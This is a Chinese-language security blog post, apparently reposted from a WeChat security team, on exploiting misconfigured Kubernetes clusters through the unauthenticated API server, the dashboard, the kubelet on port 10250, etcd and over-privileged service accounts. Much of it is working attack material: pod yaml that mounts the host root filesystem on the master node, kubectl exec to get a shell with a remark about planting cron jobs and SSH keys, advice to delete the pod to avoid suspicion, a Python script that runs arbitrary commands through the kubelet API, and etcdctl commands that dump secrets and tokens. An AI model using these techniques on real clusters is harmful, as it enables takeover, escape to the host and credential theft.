k8s-kunbernetes配置不当漏洞利用

admin 2023年2月18日16:44:52评论458 views字数 9366阅读31分13秒阅读模式

api-server未授权漏洞

介绍

通过apiserver可以管控整个集群。默认情况,Kubernetes API Server提供HTTP的两个端口:

1.本地主机端口 (高版本已弃用)

• HTTP服务

• 默认端口8080,修改标识–insecure-port

• 默认IP是本地主机,修改标识—insecure-bind-address

• 在HTTP中没有认证和授权检查

• 主机访问受保护


2.Secure Port

• 默认端口6443,修改标识—secure-port

• 默认IP是首个非本地主机的网络接口,修改标识—bind-address

• HTTPS服务。设置证书和秘钥的标识,–tls-cert-file,–tls-private-key-file • 认证方式,令牌文件或者客户端证书

• 使用基于策略的授权方式


如果我们能够调用apiserver,就相当于接管了集群,那么参考docker的api未授权,我们就可以创建一个挂载了宿主机的目录的容器,然后进行逃逸,拿到宿主机权限。

环境搭建

本来api-server是存在两个api-sever端口的,但这里因为我当前环境的k8s版本过高,insecure-port已经被弃用了,所以无法在当前环境搭建8080端口的未授权。

k8s-kunbernetes配置不当漏洞利用

因此这里搭建环境是通过将匿名用户system:anymouse给绑定到"cluster-admin"用户组中,从而实现配置不当导致的未授权。如图,错误的角色绑定,导致存在未授权漏洞。

k8s-kunbernetes配置不当漏洞利用

apiVersion: rbac.authorization.k8s.io/v1kind: ClusterRoleBindingmetadata:   name: eviltestroleRef:  apiGroup: rbac.authorization.k8s.io  kind: ClusterRole  name: cluster-adminsubjects:- apiGroup: rbac.authorization.k8s.io  kind: User  name: system:anonymous


k8s-kunbernetes配置不当漏洞利用



环境的恢复,也很简单,只需要把这个错误绑定给删掉就行了。

k8s-kunbernetes配置不当漏洞利用

漏洞利用

api未授权寻找

如果apiserver直接暴露在公网上,那没什么好说的,直接就冲。但是如果目标apiserver不暴露在公网上呢?这种情况下,我们需要先打入内部,想办法获取目标容器和node的权限。

当然,通常情况下我们是只能拿到容器权限的。但是不要紧,在容器内部可以查到apiserver的地址,需要注意的是该地址只是集群的内部虚拟地址,并非nodeip。然后就是代理进去即可。


k8s-kunbernetes配置不当漏洞利用

集群信息收集

首先,收集节点看看我们能拿下哪些主机,可以看到,目标存在两台宿主机,一个master和一个work,我们这里两台都想拿下。

查看集群信息,可以知道有哪些服务,服务名称。

k8s-kunbernetes配置不当漏洞利用

k8s-kunbernetes配置不当漏洞利用


通常api-server都会在master节点上部署,所以定位api-server的位置也可以找到master

k8s-kunbernetes配置不当漏洞利用


PS:master的概念并非是一台机子。有时候有些集群的各个master组件可能不会部署在同一台机子上,它们可能被分布在多个机器上提供服务。这时候把这些master组件加起来才叫master。

通常我们比较关心的是api-server这个组件,因为这是集群的大脑。

如果我们拿下的是其中一个pod的话,直接查看env变量就行

k8s-kunbernetes配置不当漏洞利用



允许master参与部署pod节点

因为master节点默认情况下是不允许部署应用的,所以master节点需要多加一步操作,而work节点就不需要。

kubectl -s "https://192.168.5.174:6443" describe node <master-name> | grep Taints  #查看节点master是否允许部署podkubectl taint nodes <master-name> node-role.kubernetes.io/master-    #允许master节点参与部署应用
kubectl taint nodes <master-name> node-role.kubernetes.io/master=true:NoSchedule #禁止master节点部署应用


k8s-kunbernetes配置不当漏洞利用


部署挂载宿主机目录的应用

到这里也很简单,就是简单的部署一个挂载宿主机的应用,然后进入应用就可以了。

PS:这里其实我们可以查看它有的镜像,然后用这个镜像,这样就不需要目标去浪费大量时间去pull镜像了(或者说目标不出网没法pull镜像的情况)。

这里我们直接用后面的images id作为镜像name创建pod就好了。通过deployment能看到具体的镜像名称,pod则看不到。



k8s-kunbernetes配置不当漏洞利用


k8s-kunbernetes配置不当漏洞利用



而因为通常部署应用的时候,是根据负载均衡去部署的,所以如果我们不指定的话,可能会乱部署。

所以我们用以下yaml,这里代表在master节点上部署我们的应用。尽量用轻量的原始镜像。

kubectl -s "https://192.168.5.174:6443" create -f /home/momo/桌面/attack.yaml
apiVersion: v1kind: Podmetadata:  name: evilspec:  nodeName: master #部署在master节点  containers:  - image: nginx #简单的镜像    name: container    volumeMounts:    - mountPath: /test #把系统的根目录挂载到容器的这个目录下      name: test-volume  volumes:  - name: test-volume    hostPath:      path: /


途中可以使用命令查看pod状态  以防各种问题导致容器一直没起起来而不知道。   

kubectl -s "https://192.168.5.174:6443" describe pod evil

k8s-kunbernetes配置不当漏洞利用

成功部署后,发现确实是部在了master上

k8s-kunbernetes配置不当漏洞利用

进入容器,获取shell

成功部署后,接下来的就是漏洞的利用了,这里就很简单了,和docker挂载差不多。

kubectl -s "https://192.168.5.174:6443" exec -it evil /bin/bash  #接下来就可以写计划任务、公私钥直接获取权限了

k8s-kunbernetes配置不当漏洞利用

打扫战场

拿到权限后,把我们起的pod给删了。避免起疑

kubectl -s "https://192.168.5.174:6443" exec -it evil /bin/bash

Kubernetes-dashboard未授权

介绍

Dashboard 是基于网页的 Kubernetes 用户界面。你可以使用 Dashboard 将容器应用部署到 Kubernetes 集群中,也可以对容器应用排错,还能管理集群资源。你可以使用 Dashboard 获取运行在集群中的应用的概览信息,也可以创建或者修改 Kubernetes 资源 (如 Deployment,Job,DaemonSet 等等)。例如,你可以对 Deployment 实现弹性伸缩、发起滚动升级、重启 Pod 或者使用向导创建新的应用,其实就是web管理端,本质上也是对api-server的调用。

环境搭建

kubernetes dashboard的未授权其实分两种,一种是在原本的dashboard中,本身就存在着一个不需要登录的http接口,但是这个接口本身并不会暴露出来,所以如果这个接口被暴露在外,就会dashboard的未授权。

另一种情况则是开发嫌登录麻烦,修改了配置文件,使得安全接口https的dashboard页面可以跳过登录。

https跳过认证环境搭建认证

这里搭建非常的简单,只需要在配置文件中添加上一行 --enable-skip-login即可。因为Kubernetes使用RBAC(Role-based access control)机制进行身份认证和权限管理,不同的serviceaccount拥有不同的集群权限。

我们点击Skip进入dashboard实际上使用的是Kubernetes-dashboard这个ServiceAccount,如果此时该ServiceAccount没有配置特殊的权限,是默认没有办法达到控制集群任意功能的程度的。

但有些开发者为了方便或者在测试环境中会为Kubernetes-dashboard绑定cluster-admin这个ClusterRole(cluster-admin拥有管理集群的最高权限)。所以我们还需要将ServiceAccount绑定到cluster-admin中


k8s-kunbernetes配置不当漏洞利用

这里是将kubernetes-dashboard命名空间中的serviceaccount账号给加到cluster-admin中。kubectl apply -f xxx.yaml  

kubectl delete -f xxx.yaml  或者 kubectl delete eviltest #删除掉也很简单。apiVersion: rbac.authorization.k8s.io/v1kind: ClusterRoleBinding
metadata:  name: eviltest  namespace: kube-systemroleRef:  apiGroup: rbac.authorization.k8s.io  kind: ClusterRole  name: cluster-adminsubjects:- kind: ServiceAccount  name: kubernetes-dashboard  namespace: kubernetes-dashboard


k8s-kunbernetes配置不当漏洞利用

k8s-kunbernetes配置不当漏洞利用


k8s-kunbernetes配置不当漏洞利用



http接口暴露环境搭建(未成功)

首先,需要修改dashboard 的deployment,将9090端口给映射出来(镜像中本身就存在,只是默认不开放暴露出来。)

k8s-kunbernetes配置不当漏洞利用

前面将9090给映射出来后,还需要暴露到外网中,这里修改Service同时也需要加name属性。

k8s-kunbernetes配置不当漏洞利用

但是我在后续访问的时候,却无法访问,不知道是dashboard版本太高被弃用了还是怎么回事。

k8s-kunbernetes配置不当漏洞利用


漏洞利用

这里通过dashboard没法执行kubectl命令,但实际在dashboard中你点开一个对象的配置文件进行修改提交就相当于kubectl的create和apply,而decribe等查看信息的命令,在dashboard中就相当于点开对象的配置文件。

所以我们第一步还是一样的,直接先去找谁是master,然后再修改master的配置文件,让它允许master节点部署。然后就是直接启特权容器挂载目录拿shell。

查询master(或者没法查到)

老样子,查看role属性或者apiserver的所在宿主机。

k8s-kunbernetes配置不当漏洞利用

k8s-kunbernetes配置不当漏洞利用


允许master部署应用

虽然这里我们没法用kubectl,但前面讲了,kubectl的所有操作本质上就是操作yaml文件,因此这里也是只需要修改yaml文件即可。找到目标节点的配置文件,然后删除掉这部分即可。

k8s-kunbernetes配置不当漏洞利用


k8s-kunbernetes配置不当漏洞利用




部署特权容器拿shell

k8s-kunbernetes配置不当漏洞利用



k8s-kunbernetes配置不当漏洞利用






kubelet api 10250未授权

简介

kubelet是kubernetes集群中真正维护容器状态,具体“干活”的组件。

每个节点上都运行一个 kubelet 服务进程,默认监听 10250 端口,接收并执行 master(api-server) 发来的指令,管理 Pod 及 Pod 中的容器。通过该端口可以访问和获取node资源及状态。

kubectl命令查看pod的日志和执行cmd命令都是通过kubectl的10250端口的。

简单的理解:如果说api-server未授权是域控的未授权,那么kubelet的未授权就相当于域内一台机子的未授权。


k8s-kunbernetes配置不当漏洞利用

环境搭建

允许匿名登录(需要注意,这个是到目标宿主机上改,并且只作用于当前机子)

首先,先修改配置文件允许匿名登录

vim  /var/lib/kubelet/config.yaml

k8s-kunbernetes配置不当漏洞利用

但这样仅仅只是开启了匿名登录,匿名账号是没有权限的,因此我们还需要设置权限。

k8s-kunbernetes配置不当漏洞利用

修改匿名用户权限

和前面api-server中的一样,这里把匿名组给绑定到cluster-admin中就可以了。

使用下述命令或者apply 下述yaml

kubectl create clusterrolebinding eviltest --clusterrole=cluster-admin --user=system:anonymousapiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBindingmetadata:  name: eviltestroleRef:  apiGroup: rbac.authorization.k8s.io  kind: ClusterRole  name: cluster-adminsubjects:- apiGroup: rbac.authorization.k8s.io  kind: User  name: system:anonymous  

k8s-kunbernetes配置不当漏洞利用


k8s-kunbernetes配置不当漏洞利用



漏洞利用

通过前面的介绍,我们得知kubelet只能管控当前宿主机,并且只存在以下接口。因此通过这个未授权,我们能够得到的权限很有限。

• /pods、/runningpods

• /metrics、/metrics/cadvisor、/metrics/probes

• /spec

• /stats、/stats/container

• /logs

• /run/、/exec/, /attach/, /portForward/, /containerLogs/

获取pod信息

首先我们通过pods这个接口获取到这个节点上的pod,然后指定目标pod执行任意命令即可。如图。这里pod名为php-deployment-699b9d5c7f-k66jq,命名空间php,标签php

k8s-kunbernetes配置不当漏洞利用


可以通过筛选关键字securityContext找到特权容器。


k8s-kunbernetes配置不当漏洞利用


执行命令

通过前面获取到的信息,向接口/run/<namespace>/<name>/<labeles> 发送post请求,参数cmd,则可以执行任意命令


k8s-kunbernetes配置不当漏洞利用


import reimport jsonimport argparseimport requestsrequests.packages.urllib3.disable_warnings()

def exp_go(ip,port): headers={ "User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36 MicroMessenger/7.0.9.501 NetType/WIFI MiniProgramEnv/Windows WindowsWechat", "content-type":"application/x-www-form-urlencoded" } try: r=requests.get('https://'+ip+':'+port+'/pods',headers=headers,verify=False,timeout=10) info=json.loads(r.text) except: return False for i in range(0,len(info["items"])): try: namespace=info["items"][i]["metadata"]["namespace"] name=info["items"][i]["metadata"]["name"]; k8s_app=info["items"][i]["metadata"]["labels"]["k8s-app"] url="https://"+ip+":"+port+"/run/"+namespace+"/"+name+"/"+k8s_app RCE(url,headers) except: pass
def RCE(url,headers): while(1): cmd=input("命令:") data={ "cmd":cmd } r=requests.post(url=url,headers=headers,verify=False,timeout=10,data=data) print("===========命令执行结果=============") print(r.text) print("====================================nn")
if __name__ == '__main__': parser = argparse.ArgumentParser(description='') parser.add_argument('-u', type=str, help='ip:127.0.0.1') parser.add_argument('-p', type=str, help='端口:10250') args = parser.parse_args()
    result=exp_go(args.u,args.p


etcd数据库未授权,读取token


简介

https://zhuanlan.zhihu.com/p/94685947https://blog.csdn.net/boling_cavalry/article/details/88958242

etcd是一个分布式一致性键值存储系统,用于共享配置和服务发现。

它在kubernetes中主要用于存储所有需要持久化的数据。

比如一些账号的token等都是存储在这的。其默认监听了2379等端口,如果2379端口暴露,加上未授权就可能造成token等信息泄露。

k8s中简单的访问etcd

ETCD V2和V3是两套不兼容的API,K8s用V3,所以我们需要先通过环境变量设置API V3:

export ETCDCTL_API=3

其次因为我们这里是用kubeadm部署的etcd,所以在访问的时候相当于远程访问,是需要带上证书的,默认会把CA根证书和签发的Server证书放在/etc/kubernetes/pki/etcd目录下。

所以我们访问的命令是:

etcdctl --endpoints 127.0.0.1:2379  --cacert=ca.crt --cert=server.crt --key=server.key endpoint health

k8s-kunbernetes配置不当漏洞利用


当然,我们可以加入alias环境变量,这样就不需要每次都带上那么长的证书命令了。

alias etcdctl='etcdctl   --key=/etc/kubernetes/pki/etcd/server.key   --cert=/etc/kubernetes/pki/etcd/server.crt    --cacert=/etc/kubernetes/pki/etcd/ca.crt   --endpoints https://127.0.0.1:2379

k8s-kunbernetes配置不当漏洞利用



环境搭建

理论上我们只需要修改这个参数即可。但是我修改了也一直没法生效。不知道什么情况。因为这里没成功部署环境,所以用带证书的操作来假装未授权。

k8s-kunbernetes配置不当漏洞利用


漏洞复现

未授权访问流程:

  • 设置etcdapi版本,检查是否正常链接 etcdctl endpoint health

  • 读取 token

  • 通过 token 认证访问     API-Server 端口 6443,接管集群

连接etcd

设置alias,方便操作

export ETCDCTL_API=3

k8s-kunbernetes配置不当漏洞利用



读取数据

这里如果想获取集群的普通数据的话,是需要解码的,普通数据因为性能要求都经过了编码,但是我们还是能够看到一部分信息的。

如果想要解码,参考文章https://zhuanlan.zhihu.com/p/94685947

而这里我们要获取的集群token数据只用了base64编码,所以我们读取是不需要特别的解码的。

k8s-kunbernetes配置不当漏洞利用

etcdctl get / --prefix --keys-only | grep /secrets/   #列出数据库中的secrets

k8s-kunbernetes配置不当漏洞利用

etcdctl get /registry/secrets/kube-system/service-account-controller-token-ht74f   #获取serveice-account的数据这里token为ey到#前面部分b

k8s-kunbernetes配置不当漏洞利用


使用token访问api-server

这里需要注意,不是所有的token都有权限的,比如我这里的这个token就没有权限,加上我没创建一个有权限的账号,所以我估摸着上面列出凭据没一个能有权限去操控api-server。

kubectl --insecure-skip-tls-verify -s https://192.168.5.174:6443/ --token="" -n kube-system get pods


k8s-kunbernetes配置不当漏洞利用



Service Account高权限

简介

https://blog.csdn.net/weixin_37337210/article/details/112757500

ServiceAccount是给运行在Pod的程序使用的身份认证,Pod容器的进程需要访问API Server时用的就是ServiceAccount帐户;

ServiceAccount仅局限它所在的名称空间,每个名称空间创建时都会自动创建一个默认服务帐户;创建Pod时,如果没有指定服务帐户,Pod重新使用默认服务帐户但是这里需要明白Service Account并非是一个账号,而是一种账号。

并且ServercAccount账号是按命名空间进行划分的,通常一个pod如果不指定它的serveraccount账号的话,它就会默认使用这个命名空间下名为default的serviceaccount账号。

漏洞搭建

因为这个账号的权限过低,所以我们是没办法使用该账号去调用api-server的,但是如果管理员错误的设置了它的权限,那么我们就可能能够利用该账号访问api-server。

首先,前面讲了,如果pod在创建的时候不指定serviceaccount的话,就会默认使用当前命名空间下的default账号。这里我们先查看php这个命名空间的serviceaccount,有且只有一个(只要你不主动加,就只有一个)

apiVersion: rbac.authorization.k8s.io/v1kind: ClusterRoleBindingmetadata:  name: eviltest  namespace: kube-systemroleRef:  apiGroup: rbac.authorization.k8s.io  kind: ClusterRole  name: cluster-adminsubjects:- kind: ServiceAccount  name: default  namespace: php


k8s-kunbernetes配置不当漏洞利用


漏洞利用

首先,这个账号的证书被挂载在/run/secrets/kubernetes.io/serviceaccount目录下

k8s-kunbernetes配置不当漏洞利用

我们这里通过cdk就可以快速判断这个账号是否具备高权限。然后进行后续利用。后续的利用其实就是调用api-server干你想干的事了。也可读取token去访问api-server看看有没有权限。

k8s-kunbernetes配置不当漏洞利用




原文始发于微信公众号(观澜安全团队):k8s-kunbernetes配置不当漏洞利用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月18日16:44:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   k8s-kunbernetes配置不当漏洞利用http://cn-sec.com/archives/1559748.html

发表评论

匿名网友 填写信息